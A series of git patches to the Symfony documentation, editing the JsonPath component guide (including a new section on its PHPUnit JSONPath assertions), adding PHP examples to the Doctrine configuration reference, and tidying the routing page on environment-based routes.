+      $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
 
-        // Get every second book from the first four books
-        // Creates the path '$["store"]["book"][0:4:2]'
-        $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
+      // get every second book from the first four books
+      // creates the path '$["store"]["book"][0:4:2]'
+      $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::filter`
-    Adds a filter expression. The expression string is the part that goes inside
-    the ``?()`` syntax::
+  Adds a filter expression. The expression string is the part that goes inside
+  the ``?()`` syntax::
 
-        // Get expensive books: '$["store"]["book"][?(@.price > 20)]'
-        $path = (new JsonPath())
-            ->key('store')
-            ->key('book')
-            ->filter('@.price > 20');
+      // get expensive books: '$["store"]["book"][?(@.price > 20)]'
+      $path = (new JsonPath())
+          ->key('store')
+          ->key('book')
+          ->filter('@.price > 20');
 
 Advanced Querying
 -----------------
 
 For a complete overview of advanced operators like wildcards and functions within
-filters, please refer to the `Querying with Expressions`_ section above. All these
-features are supported and can be combined with the programmatic builder where
+filters, refer to the `Querying with Expressions`_ section above. All these
+features are supported and can be combined with the programmatic builder when
 appropriate (e.g., inside a ``filter()`` expression).
 
 Error Handling
 --------------
 
-The component will throw specific exceptions for invalid input or queries:
+The component throws specific exceptions for invalid input or queries:
+
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
+  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
+* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
+  Thrown for errors within the JsonPath expression itself, such as using an unknown function
 
-* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`: Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string.
-* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`: Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error).
-* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`: Thrown for errors within the JsonPath expression itself, such as using an unknown function::
+Example of handling errors::
 
     use Symfony\Component\JsonPath\Exception\InvalidJsonStringInputException;
     use Symfony\Component\JsonPath\Exception\JsonCrawlerException;
 
     try {
-        // Example of malformed JSON
+        // the following line contains malformed JSON
         $crawler = new JsonCrawler('{"store": }');
         $crawler->find('$..*');
     } catch (InvalidJsonStringInputException $e) {
@@ -234,10 +239,10 @@ The component will throw specific exceptions for invalid input or queries:
     }
 
     try {
-        // Example of an invalid query
+        // the following line contains an invalid query
         $crawler->find('$.store.book[?unknown_function(@.price)]');
     } catch (JsonCrawlerException $e) {
         // ... handle error
     }
 
-.. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535
+.. _`RFC 9535 – JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From 87ccbb5a8bf610a2f58bada88c682d21f594c91a Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Tue, 17 Jun 2025 10:44:20 +0200
Subject: [PATCH 7104/7107] [JsonPath] Add test documentation for the component

---
 components/json_path.rst | 122 ++++++++++++++++++++++++++++++++++-----
 1 file changed, 107 insertions(+), 15 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index ec5db0e8e74..294eed98917 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -30,9 +30,9 @@ You can install the component in your project using Composer:
 Usage
 -----
 
-To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
-object from a JSON string. The following examples use this sample "bookstore"
-JSON data::
+To start querying a JSON document, first create a
+:class:`Symfony\\Component\\JsonPath\\JsonCrawler`object from a JSON string. The
+following examples use this sample "bookstore" JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -77,8 +77,9 @@ JSON data::
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
-method to start querying the data. This method returns an array of matching values.
+Once you have the crawler instance, use its
+:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start
+querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -97,9 +98,9 @@ of the document is represented by ``$``::
 
     // $titles is ['Sayings of the Century']
 
-Dot notation is the default, but JSONPath provides other syntaxes for cases where
-it doesn't work. Use bracket notation (``['...']``) when a key contains spaces
-or special characters::
+Dot notation is the default, but JSONPath provides other syntaxes for cases
+where it doesn't work. Use bracket notation (``['...']``) when a key contains
+spaces or special characters::
 
     // this is equivalent to the previous example
     $titles = $crawler->find('$["store"]["book"][0]["title"]');
@@ -119,7 +120,12 @@ you to find values without specifying the full path::
     // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
-    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
+    // $authors is equals to [
+        'Nigel Rees',
+        'Evelyn Waugh',
+        'Herman Melville',
+        'John Ronald Reuel Tolkien'
+    ]
 
 Filtering Results
 ~~~~~~~~~~~~~~~~~
@@ -135,8 +141,9 @@ Building Queries Programmatically
 
 For more dynamic or complex query building, use the fluent API provided
 by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
-construct a query object step by step. The ``JsonPath`` object can then be passed
-to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+construct a query object step by step. The ``JsonPath`` object can then be
+passed to the crawler's
+:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
 escaping of keys and values, preventing syntax errors::
@@ -178,7 +185,8 @@ methods to build your query:
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
   Adds an array index selector. Index numbers start at ``0``.
 
-* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` /
+  :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
   Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
 
       // get the last book: '$["store"]["book"][-1]'
@@ -213,17 +221,101 @@ filters, refer to the `Querying with Expressions`_ section above. All these
 features are supported and can be combined with the programmatic builder when
 appropriate (e.g., inside a ``filter()`` expression).
 
+Testing with JSON Assertions
+----------------------------
+
+The component provides a set of PHPUnit assertions to make testing JSON data
+more convenient. Use the
+:class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
+in your test class::
+
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\JsonPath\Test\JsonPathAssertionsTrait;
+
+    class MyTest extends TestCase
+    {
+        use JsonPathAssertionsTrait;
+
+        public function testSomething(): void
+        {
+            $json = '{"books": [{"title": "A"}, {"title": "B"}]}';
+
+            self::assertJsonPathCount(2, '$.books[*]', $json);
+        }
+    }
+
+The trait provides the following assertion methods:
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathCount`
+  Asserts that the number of elements found by the JSONPath expression matches
+  an expected count::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathCount(3, '$.a[*]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathEquals`
+  Asserts that the result of a JSONPath expression is equal to an expected
+  value. The comparison uses ``==`` (type coercion) instead of ``===``::
+
+      $json = '{"a": [1, 2, 3]}';
+
+      // passes because "1" == 1
+      self::assertJsonPathEquals(['1'], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotEquals`
+  Asserts that the result of a JSONPath expression is not equal to an expected
+  value. The comparison uses ``!=`` (type coercion) instead of ``!==``::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathNotEquals([42], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathSame`
+  Asserts that the result of a JSONPath expression is identical (``===``) to an
+  expected value. This is a strict comparison and does not perform type
+  coercion::
+
+      $json = '{"a": [1, 2, 3]}';
+
+      // fails because "1" !== 1
+      // self::assertJsonPathSame(['1'], '$.a[0]', $json);
+
+      self::assertJsonPathSame([1], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotSame`
+  Asserts that the result of a JSONPath expression is not identical (``!==``) to
+  an expected value::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathNotSame(['1'], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathContains`
+  Asserts that a given value is found within the array of results from the
+  JSONPath expression::
+
+      $json = '{"tags": ["php", "symfony", "json"]}';
+      self::assertJsonPathContains('symfony', '$.tags[*]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotContains`
+  Asserts that a given value is NOT found within the array of results from the
+  JSONPath expression::
+
+      $json = '{"tags": ["php", "symfony", "json"]}';
+      self::assertJsonPathNotContains('java', '$.tags[*]', $json);
+
 Error Handling
 --------------
 
 The component throws specific exceptions for invalid input or queries:
 
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
-  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON
+string;
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
-  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
+  Thrown during a ``find()`` call if the JSON string is malformed
+(e.g., syntax error);
 * :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
-  Thrown for errors within the JsonPath expression itself, such as using an unknown function
+  Thrown for errors within the JsonPath expression itself, such as using an
+  unknown function
 
 Example of handling errors::
 

From 230072e9f39b65092f60fd0e3c9344c329caa490 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jun 2025 16:24:18 +0200
Subject: [PATCH 7105/7107] Minor tweaks

---
 components/json_path.rst | 32 +++++++++++---------------------
 1 file changed, 11 insertions(+), 21 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index 294eed98917..9db8e48885e 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -30,9 +30,9 @@ You can install the component in your project using Composer:
 Usage
 -----
 
-To start querying a JSON document, first create a
-:class:`Symfony\\Component\\JsonPath\\JsonCrawler`object from a JSON string. The
-following examples use this sample "bookstore" JSON data::
+To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
+object from a JSON string. The following examples use this sample "bookstore"
+JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -77,9 +77,8 @@ following examples use this sample "bookstore" JSON data::
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its
-:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start
-querying the data. This method returns an array of matching values.
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
+method to start querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -120,12 +119,7 @@ you to find values without specifying the full path::
     // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
-    // $authors is equals to [
-        'Nigel Rees',
-        'Evelyn Waugh',
-        'Herman Melville',
-        'John Ronald Reuel Tolkien'
-    ]
+    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
 
 Filtering Results
 ~~~~~~~~~~~~~~~~~
@@ -141,9 +135,8 @@ Building Queries Programmatically
 
 For more dynamic or complex query building, use the fluent API provided
 by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
-construct a query object step by step. The ``JsonPath`` object can then be
-passed to the crawler's
-:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+construct a query object step by step. The ``JsonPath`` object can then be passed
+to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
 escaping of keys and values, preventing syntax errors::
@@ -225,8 +218,7 @@ Testing with JSON Assertions
 ----------------------------
 
 The component provides a set of PHPUnit assertions to make testing JSON data
-more convenient. Use the
-:class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
+more convenient. Use the :class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
 in your test class::
 
     use PHPUnit\Framework\TestCase;
@@ -308,11 +300,9 @@ Error Handling
 The component throws specific exceptions for invalid input or queries:
 
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
-  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON
-string;
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
-  Thrown during a ``find()`` call if the JSON string is malformed
-(e.g., syntax error);
+  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
 * :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
   Thrown for errors within the JsonPath expression itself, such as using an
   unknown function

From 29106ac3e31e24a3df8e17beba1f3d7593b8d0e2 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Sat, 24 Feb 2024 16:29:33 +0100
Subject: [PATCH 7106/7107] [Doctrine] update config reference doc with PHP
 examples

---
 reference/configuration/doctrine.rst | 171 ++++++++++++++++++++++-----
 1 file changed, 143 insertions(+), 28 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 46877e9f84c..958e63b37f6 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -100,6 +100,36 @@ The following block shows all possible configuration keys:
             </doctrine:config>
         </container>
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $dbal = $doctrine->dbal();
+
+            $dbal = $dbal
+                ->connection('default')
+                    ->dbname('database')
+                    ->host('localhost')
+                    ->port(1234)
+                    ->user('user')
+                    ->password('secret')
+                    ->driver('pdo_mysql')
+                    ->url('mysql://db_user:db_password@127.0.0.1:3306/db_name') // if the url option is specified, it will override the above config
+                    ->driverClass(App\DBAL\MyDatabaseDriver::class) // the DBAL driverClass option
+                    ->option('foo', 'bar') // the DBAL driverOptions option
+                    ->path('%kernel.project_dir%/var/data/data.sqlite')
+                    ->memory(true)
+                    ->unixSocket('/tmp/mysql.sock')
+                    ->wrapperClass(App\DBAL\MyConnectionWrapper::class) // the DBAL wrapperClass option
+                    ->charset('utf8mb4')
+                    ->logging('%kernel.debug%')
+                    ->platformService(App\DBAL\MyDatabasePlatformService::class)
+                    ->serverVersion('8.0.37')
+                    ->mappingType('enum', 'string')
+                    ->type('custom', App\DBAL\MyCustomType::class);
+        };
+
 .. note::
 
     The ``server_version`` option was added in Doctrine DBAL 2.5, which
@@ -125,7 +155,9 @@ The following block shows all possible configuration keys:
 If you want to configure multiple connections in YAML, put them under the
 ``connections`` key and give them a unique name:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
     doctrine:
         dbal:
@@ -144,6 +176,29 @@ If you want to configure multiple connections in YAML, put them under the
                     host:             localhost
                     server_version:   '8.2.0'
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $dbal = $doctrine->dbal();
+            $dbal->defaultConnection('default');
+
+            $dbal->connection('default')
+                ->dbname('Symfony')
+                ->user('root')
+                ->password('null')
+                ->host('localhost')
+                ->serverVersion('8.0.37');
+
+            $dbal->connection('customer')
+                ->dbname('customer')
+                ->user('root')
+                ->password('null')
+                ->host('localhost')
+                ->serverVersion('8.2.0');
+        };
+
 The ``database_connection`` service always refers to the *default* connection,
 which is the first one defined or the one configured via the
 ``default_connection`` parameter.
@@ -172,7 +227,9 @@ Doctrine ORM Configuration
 This following configuration example shows all the configuration defaults
 that the ORM resolves to:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
     doctrine:
         orm:
@@ -187,6 +244,29 @@ that the ORM resolves to:
             result_cache_driver: array
             naming_strategy: doctrine.orm.naming_strategy.default
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $orm = $doctrine->orm();
+
+            $orm
+                ->entityManager('default')
+                ->connection('default')
+                ->autoMapping(true)
+                ->metadataCacheDriver()->type('array')
+                ->queryCacheDriver()->type('array')
+                ->resultCacheDriver()->type('array')
+                ->namingStrategy('doctrine.orm.naming_strategy.default');
+
+            $orm
+                ->autoGenerateProxyClasses(false)
+                ->proxyNamespace('Proxies')
+                ->proxyDir('%kernel.cache_dir%/doctrine/orm/Proxies')
+                ->defaultEntityManager('default');
+        };
+
 There are lots of other configuration options that you can use to overwrite
 certain classes, but those are for very advanced use-cases only.
 
@@ -230,35 +310,70 @@ Caching Drivers
 Use any of the existing :doc:`Symfony Cache </cache>` pools or define new pools
 to cache each of Doctrine ORM elements (queries, results, etc.):
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/prod/doctrine.yaml
-    framework:
-        cache:
-            pools:
-                doctrine.result_cache_pool:
-                    adapter: cache.app
-                doctrine.system_cache_pool:
-                    adapter: cache.system
+    .. code-block:: yaml
 
-    doctrine:
-        orm:
-            # ...
-            metadata_cache_driver:
-                type: pool
-                pool: doctrine.system_cache_pool
-            query_cache_driver:
-                type: pool
-                pool: doctrine.system_cache_pool
-            result_cache_driver:
-                type: pool
-                pool: doctrine.result_cache_pool
+        # config/packages/prod/doctrine.yaml
+        framework:
+            cache:
+                pools:
+                    doctrine.result_cache_pool:
+                        adapter: cache.app
+                    doctrine.system_cache_pool:
+                        adapter: cache.system
 
-            # in addition to Symfony Cache pools, you can also use the
-            # 'type: service' option to use any service as the cache
-            query_cache_driver:
-                type: service
-                id: App\ORM\MyCacheService
+        doctrine:
+            orm:
+                # ...
+                metadata_cache_driver:
+                    type: pool
+                    pool: doctrine.system_cache_pool
+                query_cache_driver:
+                    type: pool
+                    pool: doctrine.system_cache_pool
+                result_cache_driver:
+                    type: pool
+                    pool: doctrine.result_cache_pool
+
+                # in addition to Symfony cache pools, you can also use the
+                # 'type: service' option to use any service as a cache pool
+                query_cache_driver:
+                    type: service
+                    id: App\ORM\MyCacheService
+
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework, DoctrineConfig $doctrine): void {
+            $framework
+                ->cache()
+                    ->pool('doctrine.result_cache_pool')
+                        ->adapters('cache.app')
+                    ->pool('doctrine.system_cache_pool')
+                        ->adapters('cache.sytsem');
+
+            $doctrine->orm()
+                // ...
+                ->entityManager('default')
+                ->metadataCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.system_cache_pool')
+                ->queryCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.system_cache_pool')
+                ->resultCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.result_cache_pool')
+
+                // in addition to Symfony cache pools, you can also use the
+                // 'type: service' option to use any service as a cache pool
+                ->queryCacheDriver()
+                    ->type('service')
+                    ->id(App\ORM\MyCacheService::class);
+        };
 
 Mapping Configuration
 ~~~~~~~~~~~~~~~~~~~~~

From 0b1da84b2c7dc6e6df8b2f2383f0d450f451b86f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jun 2025 17:48:10 +0200
Subject: [PATCH 7107/7107] Minor tweaks

---
 routing.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index be915855785..3663b72396e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -252,14 +252,12 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     automatically for you when the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
     option is ``true``.
 
-.. _routing-matching-expressions:
-
 Matching Environments
 ~~~~~~~~~~~~~~~~~~~~~
 
-The ``env`` option can be used to make a route conditional on the
-:ref:`configuration environment <configuration-environments>`, the route will
-only be registered if the environment matches.
+Use the ``env`` option to register a route only when the current
+:ref:`configuration environment <configuration-environments>` matches the
+given value:
 
 .. configuration-block::
 
@@ -274,11 +272,7 @@ only be registered if the environment matches.
 
         class DefaultController extends AbstractController
         {
-            #[Route(
-                '/tools',
-                name: 'tools',
-                env: 'dev',
-            )]
+            #[Route('/tools', name: 'tools', env: 'dev')]
             public function developerTools(): Response
             {
                 // ...
@@ -320,6 +314,8 @@ only be registered if the environment matches.
             ;
         };
 
+.. _routing-matching-expressions:
+
 Matching Expressions
 ~~~~~~~~~~~~~~~~~~~~